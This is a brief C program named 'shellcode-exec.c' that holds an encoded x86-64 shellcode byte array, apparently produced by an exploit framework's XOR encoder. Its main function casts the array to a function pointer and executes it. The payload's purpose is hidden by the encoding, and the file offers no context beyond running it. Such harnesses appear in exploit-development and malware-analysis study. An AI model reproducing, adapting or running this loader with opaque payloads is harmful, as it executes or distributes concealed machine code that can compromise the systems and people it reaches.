shellcode-exec.c

#include <stdio.h>
#include <string.h>

unsigned char code[] = 
"\x48\x31\xc9\x48\x81\xe9\xf6\xff\xff\xff\x48\x8d\x05\xef\xff"
"\xff\xff\x48\xbb\xcd\x3a\xd1\x61\x65\x6c\xbb\xa9\x48\x31\x58"
"\x27\x48\x2d\xf8\xff\xff\xff\xe2\xf4\xa7\x13\x89\xf8\x0f\x6e"
"\xe4\xc3\xcc\x64\xde\x64\x2d\xfb\xe9\x6e\xc9\x1e\xd3\x61\x74"
"\x30\xf3\x20\x2b\x50\xc1\x3b\x0f\x5d\xe3\xa6\xc8\x63\xbb\x53"
"\x3d\x63\xbe\xe1\x5b\x50\xfa\x39\x6a\x69\xeb\xff\x92\x50\xd8"
"\x39\xfc\xda\xab\xe1\x44\xec\x9c\x50\xac\x06\x99\xe8\x97\x88"
"\xd6\x6e\x60\x24\x2d\xe1\x5a\x65\xde\x64\x9a\x8a\xbb\xa9";


int main() {
	printf("Shellcode Length: %d\n",  (int)strlen(code));
	int (*ret) () = (int(*) ())code;
	ret();
}